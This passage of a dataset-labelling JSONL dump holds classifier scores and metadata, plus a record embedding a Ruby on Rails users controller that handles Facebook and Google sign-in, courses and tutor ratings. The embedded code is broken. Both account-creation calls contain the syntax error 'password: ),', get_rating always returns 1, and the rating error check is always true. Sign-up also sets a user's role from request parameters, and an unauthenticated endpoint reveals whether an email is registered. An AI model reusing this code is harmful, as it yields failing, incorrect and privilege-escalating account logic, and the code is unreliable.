"noise_severity": 0.9541302104572735, "missing_content_severity": 0.9938555463374847, "factual_density": 0.4933391747710366, "pretraining_utility": 0.43165041271924864, "math_density": 0.8393009216707603, "code_density": 0.9622951502151033, "reasoning_density": 0.6573068596003067, "education_level": 0.559817198195873, "creative_writing_quality": 0.9994667576929452, "primary_topic": 0.9716205122310543, "secondary_topic": 0.5310392095764515}, "probability_margin": {"primary": 0.9792600839631207, "secondary": 0.9114370050466466, "tertiary": 0.9477502656838062, "education_level": 0.3383847864168358, "creative_writing_quality": 0.9993668053345616, "primary_topic": 0.9484169826599341, "secondary_topic": 0.17477085244906654}, "raw_probabilities": {"primary": {"Academic Writing": 8.141344252287517e-05, "Content Listing": 3.3263106413104e-05, "Creative Writing": 2.779263073315457e-05, "Customer Support Page": 2.920741241204119e-05, "Q&A Forum": 2.5205235011900365e-05, "Discussion Thread": 1.2197077343309075e-05, "Comment Section": 1.868855413592856e-05, "Missing Content": 2.9124954780281456e-05, "Knowledge Article": 8.149151004721297e-05, "Legal Notices": 4.035990543727601e-05, "News Article": 8.345724549064e-06, "Organizational Announcement": 1.670341594969842e-05, "Nonfiction Writing": 1.88846822578049e-05, "Organizational About Page": 1.7799559899258508e-05, "Personal About Page": 1.8927359691433265e-05, "Personal Blog": 1.0706356869695847e-05, "Product Page": 1.3895831630123727e-05, "Spam / Ads": 1.5231683225784732e-05, "Structured Data": 0.0019825699452945132, "Technical Writing": 0.9880986522467338, "Transcript / Interview": 3.2383566774702025e-05, "Tutorial / How-To Guide": 0.0005369568489608269, "User Reviews": 1.1630665713214948e-05, "Other / Unknown": 0.008838568283613065}, "secondary": {"Academic Writing": 0.0002999206227637347, "Content Listing": 0.00017323147201280193, "Creative Writing": 0.00022798139018862895, "Customer Support Page": 0.00023510145381084777, "Q&A Forum": 0.00014389264613438093, "Discussion Thread": 8.83193191534436e-05, "Comment Section": 0.00015306917187546458, "Missing Content": 0.00033706674387619346, "Knowledge Article": 0.0006312168181823759, "Legal Notices": 0.0002205728991164741, "News Article": 0.00012601145145250416, "Organizational Announcement": 0.00012123564159225141, "Nonfiction Writing": 0.00012724441979060402, "Organizational About Page": 0.00013572142127442802, "Personal About Page": 0.00011734295553910405, "Personal Blog": 9.860623384865269e-05, "Product Page": 8.693425981261767e-05, "Spam / Ads": 0.0001343009902487053, "Structured Data": 0.02531990331636111, "Technical Writing": 0.02879089790685462, "Transcript / Interview": 0.00018137396080329974, "Tutorial / How-To Guide": 0.0019516207766219682, "User Reviews": 7.053117518451184e-05, "NONE": 0.9402279029535012}, "tertiary": {"Academic Writing": 0.0001601552879204963, "Content Listing": 9.867328031097301e-05, "Creative Writing": 0.00014833627584514344, "Customer Support Page": 0.00029525522073547137, "Q&A Forum": 7.445391472456333e-05, "Discussion Thread": 5.0012362335260586e-05, "Comment Section": 0.00013793272567474713, "Missing Content": 0.00046484554476510913, "Knowledge Article": 0.0007037521262258608, "Legal Notices": 0.00024139845711812407, "News Article": 6.895699091138252e-05, "Organizational Announcement": 6.846618470899714e-05, "Nonfiction Writing": 8.865355366490927e-05, "Organizational About Page": 9.198777722661363e-05, "Personal About Page": 6.318604737524088e-05, "Personal Blog": 5.4303957727567166e-05, "Product Page": 5.640173625212173e-05, "Spam / Ads": 9.824107733630561e-05, "Structured Data": 0.016603594337293942, "Technical Writing": 0.014692149862888559, "Transcript / Interview": 8.628926281343581e-05, "Tutorial / How-To Guide": 0.001254091731933953, "User Reviews": 4.500226311100878e-05, "NONE": 0.9643538600211001}, "structured_records": {"false": 0.6731646066008875, "true": 0.3268353933991125}, "procedural_steps": {"false": 0.9600242737050616, "true": 0.039975726294938424}, "worked_solution": {"false": 0.8845704530819183, "true": 0.11542954691808166}, "contextual_dialogue": {"false": 0.9999874543346773, "true": 1.2545665322676114e-05}, "content_quality": {"-2": 0.0034683950997589693, "-1": 0.007924020087139312, "0": 0.0888309746136921, "1": 0.4699830677344131, "2": 0.42979354246499646}, "noise_severity": {"0": 0.9507456976722722, "1": 0.04548380517131819, "2": 0.002399515338454729, "3": 0.0007230156687749692, "4": 0.0006479661491798021}, "missing_content_severity": {"0": 0.9954782226554753, "1": 0.00257334562499741, "2": 0.0012262241456845863, "3": 0.0005412798167199013, "4": 0.00018092775712301565}, "factual_density": {"0": 0.006583401305116159, "1": 0.018828288267731606, "2": 0.1562590340279487, "3": 0.4240021006032079, "4": 0.39432717579599563}, "pretraining_utility": {"-2": 0.01243852334673837, "-1": 0.12394722397581495, "0": 0.40566150696632197, "1": 0.38271025735463976, "2": 0.07524248835648513}, "math_density": {"0": 0.8404111476783939, "1": 0.14189324945275988, "2": 0.00866116692790306, "3": 0.002514433077251413, "4": 0.006520002863691858}, "code_density": {"0": 0.00011570217930444604, "1": 0.00018847888926334583, "2": 0.003717487265604876, "3": 0.036782599825658575, "4": 0.9591957318401687}, "reasoning_density": {"0": 0.7733888230467422, "1": 0.10098224950250363, "2": 0.0849843423375056, "3": 0.022297506150877767, "4": 0.018347078962370953}, "education_level": {"none": 0.001152437572730215, "0": 0.0016407057641737658, "1": 0.01174994265180419, "2": 0.6331809984965607, "3": 0.29479621207972495, "4": 0.057479703435006246}, "creative_writing_quality": {"not_applicable": 0.9995556314107877, "-2": 6.928520642897192e-05, "-1": 9.601352986707658e-05, "0": 0.0001888260762261867, "1": 6.745471802540985e-05, "2": 2.278905866431537e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.740432156472137e-05, "Art & Design": 5.753637798347027e-05, "Law & Crime": 6.274400348917047e-05, "Education & Careers": 3.783139311005486e-05, "Entertainment & Media": 5.141066761274673e-05, "Fashion & Beauty": 3.598486889430908e-05, "Business, Economics & Finance": 0.024295048331464283, "Food & Dining": 3.9261404509814454e-05, "Games & Gaming": 8.058114697378707e-05, "Electronics & Hardware": 7.026917988791953e-05, "Health, Healthcare & Wellness": 4.015453258124385e-05, "History & Geography": 4.986172763975922e-05, "Home, Pets & Hobbies": 2.8763333266296062e-05, "Industry & Production": 4.133544435380676e-05, "Language, Literature & Philosophy": 3.998833536089589e-05, "Politics & Government": 2.981963305658821e-05, "Religion & Spirituality": 3.657925351560576e-05, "Science, Mathematics & Engineering": 9.984283445622101e-05, "Relationships & Community": 1.9133011462547052e-05, "Software Usage & Applications": 0.0009391714147742426, "Programming & Software Engineering": 0.9727120309913984, "Sports & Fitness": 4.263781207046259e-05, "Vehicles & Transportation": 1.969957672053442e-05, "Travel & Tourism": 4.634385881947975e-05, "Other / Uncovered Subject": 0.0010073542161410337, "Unknown / Insufficient Content": 7.921232889279126e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007860188183638833, "Art & Design": 0.0006806858165281977, "Law & Crime": 0.0013214271928813285, "Education & Careers": 0.000386963965233827, "Entertainment & Media": 0.0008290940236642852, "Fashion & Beauty": 0.00044919738295375343, "Business, Economics & Finance": 0.37430531060521366, "Food & Dining": 0.0003981279681334722, "Games & Gaming": 0.0006688433641151723, "Electronics & Hardware": 0.0005853109586517866, "Health, Healthcare & Wellness": 0.0005362261011832171, "History & Geography": 0.0012812854811560435, "Home, Pets & Hobbies": 0.0003463328057600505, "Industry & Production": 0.0003666523660273233, "Language, Literature & Philosophy": 0.0003117711754351312, "Politics & Government": 0.0004015569626300796, "Religion & Spirituality": 0.0005092457201862995, "Science, Mathematics & Engineering": 0.0005165134338380608, "Relationships & Community": 0.00019686137106848383, "Software Usage & Applications": 0.0019271058105875462, "Programming & Software Engineering": 0.06157891069380962, "Sports & Fitness": 0.0003442178455830253, "Vehicles & Transportation": 0.00020608673603505288, "Travel & Tourism": 0.0005391144845488473, "Other / Uncovered Subject": 0.0014509758621316217, "NONE": 0.5490761630542802}}, "probabilities": {"primary": {"Academic Writing": 8.141344252287517e-05, "Content Listing": 3.3263106413104e-05, "Creative Writing": 2.779263073315457e-05, "Customer Support Page": 2.920741241204119e-05, "Q&A Forum": 2.5205235011900365e-05, "Discussion Thread": 1.2197077343309075e-05, "Comment Section": 1.868855413592856e-05, "Missing Content": 2.9124954780281456e-05, "Knowledge Article": 8.149151004721297e-05, "Legal Notices": 4.035990543727601e-05, "News Article": 8.345724549064e-06, "Organizational Announcement": 1.670341594969842e-05, "Nonfiction Writing": 1.88846822578049e-05, "Organizational About Page": 1.7799559899258508e-05, "Personal About Page": 1.8927359691433265e-05, "Personal Blog": 1.0706356869695847e-05, "Product Page": 1.3895831630123727e-05, "Spam / Ads": 1.5231683225784732e-05, "Structured Data": 0.0019825699452945132, "Technical Writing": 0.9880986522467338, "Transcript / Interview": 3.2383566774702025e-05, "Tutorial / How-To Guide": 0.0005369568489608269, "User Reviews": 1.1630665713214948e-05, "Other / Unknown": 0.008838568283613065}, "secondary": {"Academic Writing": 0.0002999206227637347, "Content Listing": 0.00017323147201280193, "Creative Writing": 0.00022798139018862895, "Customer Support Page": 0.00023510145381084777, "Q&A Forum": 0.00014389264613438093, "Discussion Thread": 8.83193191534436e-05, "Comment Section": 0.00015306917187546458, "Missing Content": 0.00033706674387619346, "Knowledge Article": 0.0006312168181823759, "Legal Notices": 0.0002205728991164741, "News Article": 0.00012601145145250416, "Organizational Announcement": 0.00012123564159225141, "Nonfiction Writing": 0.00012724441979060402, "Organizational About Page": 0.00013572142127442802, "Personal About Page": 0.00011734295553910405, "Personal Blog": 9.860623384865269e-05, "Product Page": 8.693425981261767e-05, "Spam / Ads": 0.0001343009902487053, "Structured Data": 0.02531990331636111, "Technical Writing": 0.02879089790685462, "Transcript / Interview": 0.00018137396080329974, "Tutorial / How-To Guide": 0.0019516207766219682, "User Reviews": 7.053117518451184e-05, "NONE": 0.9402279029535012}, "tertiary": {"Academic Writing": 0.00016015528792049632, "Content Listing": 9.867328031097302e-05, "Creative Writing": 0.00014833627584514346, "Customer Support Page": 0.0002952552207354714, "Q&A Forum": 7.445391472456335e-05, "Discussion Thread": 5.001236233526059e-05, "Comment Section": 0.00013793272567474716, "Missing Content": 0.0004648455447651092, "Knowledge Article": 0.0007037521262258609, "Legal Notices": 0.0002413984571181241, "News Article": 6.895699091138254e-05, "Organizational Announcement": 6.846618470899715e-05, "Nonfiction Writing": 8.865355366490928e-05, "Organizational About Page": 9.198777722661365e-05, "Personal About Page": 6.31860473752409e-05, "Personal Blog": 5.430395772756717e-05, "Product Page": 5.640173625212174e-05, "Spam / Ads": 9.824107733630562e-05, "Structured Data": 0.016603594337293946, "Technical Writing": 0.01469214986288856, "Transcript / Interview": 8.628926281343582e-05, "Tutorial / How-To Guide": 0.0012540917319339533, "User Reviews": 4.5002263111008784e-05, "NONE": 0.9643538600211002}, "structured_records": {"false": 0.6731646066008875, "true": 0.3268353933991125}, "procedural_steps": {"false": 0.9600242737050616, "true": 0.039975726294938424}, "worked_solution": {"false": 0.8845704530819183, "true": 0.11542954691808166}, "contextual_dialogue": {"false": 0.9999874543346773, "true": 1.2545665322676114e-05}, "content_quality": {"-2": 0.0034683950997589693, "-1": 0.007924020087139312, "0": 0.0888309746136921, "1": 0.4699830677344131, "2": 0.42979354246499646}, "noise_severity": {"0": 0.9507456976722723, "1": 0.0454838051713182, "2": 0.0023995153384547296, "3": 0.0007230156687749694, "4": 0.0006479661491798022}, "missing_content_severity": {"0": 0.995478222655475, "1": 0.0025733456249974096, "2": 0.001226224145684586, "3": 0.0005412798167199012, "4": 0.00018092775712301562}, "factual_density": {"0": 0.006583401305116159, "1": 0.018828288267731606, "2": 0.1562590340279487, "3": 0.4240021006032079, "4": 0.39432717579599563}, "pretraining_utility": {"-2": 0.012438523346738367, "-1": 0.12394722397581492, "0": 0.40566150696632186, "1": 0.38271025735463965, "2": 0.07524248835648512}, "math_density": {"0": 0.8404111476783939, "1": 0.14189324945275988, "2": 0.00866116692790306, "3": 0.002514433077251413, "4": 0.006520002863691858}, "code_density": {"0": 0.00011570217930444604, "1": 0.00018847888926334583, "2": 0.003717487265604876, "3": 0.036782599825658575, "4": 0.9591957318401687}, "reasoning_density": {"0": 0.773388823046742, "1": 0.1009822495025036, "2": 0.08498434233750558, "3": 0.022297506150877763, "4": 0.01834707896237095}, "education_level": {"none": 0.001152437572730215, "0": 0.0016407057641737658, "1": 0.01174994265180419, "2": 0.6331809984965607, "3": 0.29479621207972495, "4": 0.057479703435006246}, "creative_writing_quality": {"not_applicable": 0.9995556314107881, "-2": 6.928520642897195e-05, "-1": 9.601352986707661e-05, "0": 0.00018882607622618675, "1": 6.745471802540988e-05, "2": 2.2789058664315378e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.7404321564721366e-05, "Art & Design": 5.7536377983470254e-05, "Law & Crime": 6.274400348917045e-05, "Education & Careers": 3.7831393110054854e-05, "Entertainment & Media": 5.141066761274672e-05, "Fashion & Beauty": 3.5984868894309076e-05, "Business, Economics & Finance": 0.024295048331464276, "Food & Dining": 3.926140450981445e-05, "Games & Gaming": 8.058114697378706e-05, "Electronics & Hardware": 7.026917988791952e-05, "Health, Healthcare & Wellness": 4.0154532581243845e-05, "History & Geography": 4.9861727639759206e-05, "Home, Pets & Hobbies": 2.8763333266296056e-05, "Industry & Production": 4.133544435380675e-05, "Language, Literature & Philosophy": 3.9988335360895884e-05, "Politics & Government": 2.9819633056588203e-05, "Religion & Spirituality": 3.6579253515605755e-05, "Science, Mathematics & Engineering": 9.984283445622098e-05, "Relationships & Community": 1.913301146254705e-05, "Software Usage & Applications": 0.0009391714147742423, "Programming & Software Engineering": 0.9727120309913981, "Sports & Fitness": 4.2637812070462584e-05, "Vehicles & Transportation": 1.9699576720534416e-05, "Travel & Tourism": 4.634385881947974e-05, "Other / Uncovered Subject": 0.0010073542161410335, "Unknown / Insufficient Content": 7.921232889279124e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007860188183638833, "Art & Design": 0.0006806858165281977, "Law & Crime": 0.0013214271928813285, "Education & Careers": 0.000386963965233827, "Entertainment & Media": 0.0008290940236642852, "Fashion & Beauty": 0.00044919738295375343, "Business, Economics & Finance": 0.37430531060521366, "Food & Dining": 0.0003981279681334722, "Games & Gaming": 0.0006688433641151723, "Electronics & Hardware": 0.0005853109586517866, "Health, Healthcare & Wellness": 0.0005362261011832171, "History & Geography": 0.0012812854811560435, "Home, Pets & Hobbies": 0.0003463328057600505, "Industry & Production": 0.0003666523660273233, "Language, Literature & Philosophy": 0.0003117711754351312, "Politics & Government": 0.0004015569626300796, "Religion & Spirituality": 0.0005092457201862995, "Science, Mathematics & Engineering": 0.0005165134338380608, "Relationships & Community": 0.00019686137106848383, "Software Usage & Applications": 0.0019271058105875462, "Programming & Software Engineering": 0.06157891069380962, "Sports & Fitness": 0.0003442178455830253, "Vehicles & Transportation": 0.00020608673603505288, "Travel & Tourism": 0.0005391144845488473, "Other / Uncovered Subject": 0.0014509758621316217, "NONE": 0.5490761630542802}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10651, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10651, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:07.077024+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "197ed379-8fff-438e-b474-0ed6e4ddda43", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d6b934e18374603ef6e75716d8feae65ce1c6dba8fcadd4426f254191205e00c", "source_metadata": {"uuid": "197ed379-8fff-438e-b474-0ed6e4ddda43", "repo_name": "ali-hassan/active_merchant", "relative_path": "test/remote/gateways/remote_ebanx_test.rb", "category": "TEST", "algo_rel_score": 0.9122600555419922, "quality_score": 6.924711227416992, "source_meta": {"github_metadata": {"branch": "feature/paypal-ppcp", "commit_count": 5155, "repo_created_at": "2020-08-20T13:38:23.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 3, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "cf559812adcdad9039d58863f56a6c678232fbed", "size_bytes": 8230, "file_timestamp": 1601635607, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "05afdb9818789b90d7e5bf2033d72d78e02e790a"}}, "parsed_source_meta": {"github_metadata": {"branch": "feature/paypal-ppcp", "commit_count": 5155, "repo_created_at": "2020-08-20T13:38:23.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 3, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "cf559812adcdad9039d58863f56a6c678232fbed", "size_bytes": 8230, "file_timestamp": 1601635607, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "05afdb9818789b90d7e5bf2033d72d78e02e790a", "url": "https://github.com/ali-hassan/active_merchant/blob/05afdb9818789b90d7e5bf2033d72d78e02e790a/test/remote/gateways/remote_ebanx_test.rb"}, "gpt4o_tokens": 1914, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.3147093423777487, "noise_severity": 0.055043747451271774, "missing_content_severity": 0.007373344395018348, "factual_density": 3.1806613613172354, "pretraining_utility": 0.3843709633983183, "math_density": 0.19283889399508766, "code_density": 3.954754180258124, "reasoning_density": 0.4112317684796319, "education_level": 2.3951796846861977, "creative_writing_quality": -0.27353667725825886}, "score_applicability": {"education_level": 0.9988475624272699, "creative_writing_quality": 0.0004443685892119606}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/tomhieu/coursedy_api/blob/aea7aa2ca0b521f19bbcf70245ab0caa1dc23ee7/app/controllers/api/v1/users_controller.rb", "id": "ruby-0-a6859fd6f5a2f0d05d0bccdcbb676d4e", "text": "module Api\n module V1\n class UsersController < ApiController\n skip_before_action :authenticate_user!, only: [:validate_email, :get_rating, :connect_facebook, :connect_google, :get_user]\n\n def my_notifications\n render json: @user.notifications, each_serializer: NotificationsSerializer\n end\n\n def show\n @user = User.find(params[:id])\n authorize @user\n\n render json: @user, serializer: UsersSerializer\n end\n\n def current_api_user\n if current_user\n render json: current_user, serializer: UsersSerializer\n else\n render_error_response('not login', :not_found)\n end\n end\n\n def get_user\n render json: {exist: User.where(email: params[:email]).exists?}\n end\n\n def connect_facebook\n response = FacebookService.verify_user_token(params[:token], params[:app_user_id])\n\n unless response['email'] && response['id'] == params[:app_user_id]\n render_error_response('Unauthorized', 401) and return\n end\n\n if user = User.find_by(email: response['email'])\n user.facebook_id = response['id']\n user.save\n else\n user = User.create(\n email: response['email'],\n password: ),\n name: response['name'],\n facebook_id: response['id'],\n role: params[:role],\n confirmed_at: Time.current\n )\n end\n\n client_id, token = user.create_token\n\n user.save\n\n render json: {client_id: client_id, token: token, uid: user.email}\n end\n\n def connect_google\n response = GoogleService.verify_user_token(params[:token])\n\n unless response['email'] && response['aud'] == GoogleService.client_id\n render_error_response('Unauthorized', 401) and return\n end\n\n if user = User.find_by(email: response['email'])\n user.google_id = response['sub']\n user.save\n else\n user = User.create(\n email: response['email'],\n password: ),\n name: response['name'],\n google_id: response['sub'],\n role: params[:role],\n confirmed_at: Time.current\n )\n end\n\n client_id, token = user.create_token\n\n user.save\n\n render json: {client_id: client_id, token: token, uid: user.email}\n end\n\n def accounts\n @accounts = current_user.accounts\n render json: @accounts, each_serializer: AccountsSerializer\n end\n\n def enrolled_courses\n render json: current_user.enrolled_courses.includes({user: :tutor}, :category, :course_level, :week_day_schedules),\n each_serializer: CoursesSerializer, full_info: true\n end\n\n def followed_courses\n render json: current_user.followed_courses.includes({user: :tutor}, :category, :course_level, :week_day_schedules),\n each_serializer: CoursesSerializer, full_info: true\n end\n\n def courses\n if params[:id].present?\n @courses = Course.where(user_id: params[:id])\n else\n @courses = Course.unscoped.where(user_id: current_user.id)\n end\n\n @courses = @courses.includes({user: :tutor}, :category, :course_level, :week_day_schedules)\n\n unless params[:status].blank?\n @courses = @courses.where(status: params[:status])\n end\n\n @courses = paginate @courses\n render json: @courses, each_serializer: CoursesSerializer, full_info: true\n end\n\n def rate_teacher\n course = Course.find(params[:course_id])\n rating = TutorRating.create(\n course_id: course.id,\n points: params[:points],\n teacher_id: course.user_id,\n user_id: current_api_user.id\n )\n\n if rating.errors\n render_error_response(rating.errors.first, :unprocessable_entity)\n else\n render json: rating, serializer: TutorRatingsSerializer\n end\n end\n\n def get_rating\n user = User.find(params[:id])\n if user.tutor_ratings.count == 0\n render json: {rating: 0} and return\n end\n\n user.tutor_ratings.sum(:points).to_f/user.tutor_ratings.count\n render json: {rating: 1}\n end\n\n def validate_email\n if User.exists?(email: ActionView::Base.full_sanitizer.sanitize(params[:email]))\n render json: {valid: false}\n else\n render json: {valid: true}\n end\n end\n end\n end\nend\n", "text_preview": "module Api module V1 class UsersController < ApiController skip_before_action :authenticate_user!, only: [:validate_email, :get_rating, :connect_facebook, :connect_google, :get_user] def my_notifications render json: @user.notifications, ea", "input_sha256": "1dd54a7b6a3279e600d07ba6e307ff719055ffd714c13e50c8b015c5631e3a69", "text_sha256": "a6859fd6f5a2f0d05d0bccdcbb676d4e8d479772ebc9705d2f8ebd5047c7a28c", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16116, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.3672320243066598, "noise_severity": 0.16808996155810302, "missing_content_severity": 0.4615405938865465, "factual_density": 3.5150865585560673, "pretraining_utility": 0.500620654041396, "math_density": 0.34864584960713485, "code_density": 3.899302640546176, "reasoning_density": 0.6185752603357929, "education_level": 2.346437294631106, "creative_writing_quality": -0.4974035859975957}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.016233431218396266, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9979857480080432, "secondary": 0.951438061455824, "tertiary": 0.9683772940315418, "structured_records": 0.015653564938787227, "procedural_steps": 0.005537955442099589, "worked_solution": 0.0010661269915838104, "contextual_dialogue": 5.028117063177102e-06, "content_quality": 0.25623205077407163, "noise_severity": 0.8599250320349142, "missing_content_severity": 0.615382838427878, "factual_density": 0.5959054654633891, "pretraining_utility": 0.4565909785470371, "math_density": 0.7094617919940543, "code_density": 0.9160855337884801, "reasoning_density": 0.4845206163868392, "education_level": 0.594790876631358, "creative_writing_quality": 0.9995817219065647, "primary_topic": 0.9826803127066194, "secondary_topic": 0.8727117496389365}, "probability_margin": {"primary": 0.9972628504800797, "secondary": 0.9245540433758579, "tertiary": 0.9493013604906974, "education_level": 0.3565726839876033, "creative_writing_quality": 0.9995243226070963, "primary_topic": 0.9690956891245477, "secondary_topic": 0.789761759390657}, "raw_probabilities": {"primary": {"Academic Writing": 1.955317383074449e-05, "Content Listing": 2.5304785036302715e-05, "Creative Writing": 1.1894905751862142e-05, "Customer Support Page": 6.361773728560445e-06, "Q&A Forum": 7.82389157018859e-06, "Discussion Thread": 5.345754379091876e-06, "Comment Section": 7.925657762026437e-06, "Missing Content": 6.466472977506381e-05, "Knowledge Article": 3.9465098870192194e-05, "Legal Notices": 2.3159504827186696e-05, "News Article": 3.4011616705014907e-06, "Organizational Announcement": 7.737092661186955e-06, "Nonfiction Writing": 7.381387931399531e-06, "Organizational About Page": 8.579725359281713e-06, "Personal About Page": 9.26769415069883e-06, "Personal Blog": 6.264887927424567e-06, "Product Page": 6.621756017554329e-06, "Spam / Ads": 7.671872371330359e-06, "Structured Data": 0.0008068246942950144, "Technical Writing": 0.9980696751743747, "Transcript / Interview": 1.05698768267238e-05, "Tutorial / How-To Guide": 9.335203494206141e-05, "User Reviews": 5.109084900123953e-06, "Other / Unknown": 0.0007460442810408562}, "secondary": {"Academic Writing": 0.00020737841617724992, "Content Listing": 0.0003557144947238131, "Creative Writing": 0.00021481624987437558, "Customer Support Page": 0.00011720384355217719, "Q&A Forum": 8.539651472589862e-05, "Discussion Thread": 8.422660680490337e-05, "Comment Section": 0.00017497496335173104, "Missing Content": 0.028907432185973497, "Knowledge Article": 0.00037006449523051407, "Legal Notices": 0.00025993610693224485, "News Article": 0.00013917278775121554, "Organizational Announcement": 0.00011482981983033121, "Nonfiction Writing": 0.00011188138649534053, "Organizational About Page": 0.0001473475560712488, "Personal About Page": 0.00011369713892743618, "Personal Blog": 0.0001004939467759534, "Product Page": 8.111801780148009e-05, "Spam / Ads": 0.00013174830429911333, "Structured Data": 0.0077950797105463075, "Technical Writing": 0.006357718831456273, "Transcript / Interview": 0.00018146101388253935, "Tutorial / How-To Guide": 0.00042790589658750196, "User Reviews": 5.892615039750782e-05, "NONE": 0.9534614755618314}, "tertiary": {"Academic Writing": 8.79870950276875e-05, "Content Listing": 0.0002591535826612222, "Creative Writing": 0.00011610442913570921, "Customer Support Page": 6.896942019173043e-05, "Q&A Forum": 3.964643057203213e-05, "Discussion Thread": 4.4655245980974676e-05, "Comment Section": 9.780139196629085e-05, "Missing Content": 0.020393546289530246, "Knowledge Article": 0.00025856011914784585, "Legal Notices": 0.00022469791801194412, "News Article": 7.823503050673929e-05, "Organizational Announcement": 6.292560339548786e-05, "Nonfiction Writing": 7.553679652057112e-05, "Organizational About Page": 0.00011045045994920329, "Personal About Page": 6.304390520396377e-05, "Personal Blog": 5.5995886352295204e-05, "Product Page": 5.514147410176084e-05, "Spam / Ads": 9.083838868432081e-05, "Structured Data": 0.0029317189920245405, "Technical Writing": 0.004701043771010733, "Transcript / Interview": 9.586104817910479e-05, "Tutorial / How-To Guide": 0.00035569042840381137, "User Reviews": 3.748951321422773e-05, "NONE": 0.9696949067802276}, "structured_records": {"false": 0.9843464350612128, "true": 0.015653564938787227}, "procedural_steps": {"false": 0.9944620445579004, "true": 0.005537955442099589}, "worked_solution": {"false": 0.9989338730084162, "true": 0.0010661269915838104}, "contextual_dialogue": {"false": 0.9999949718829368, "true": 5.028117063177102e-06}, "content_quality": {"-2": 0.02751704049505548, "-1": 0.18222846279485133, "0": 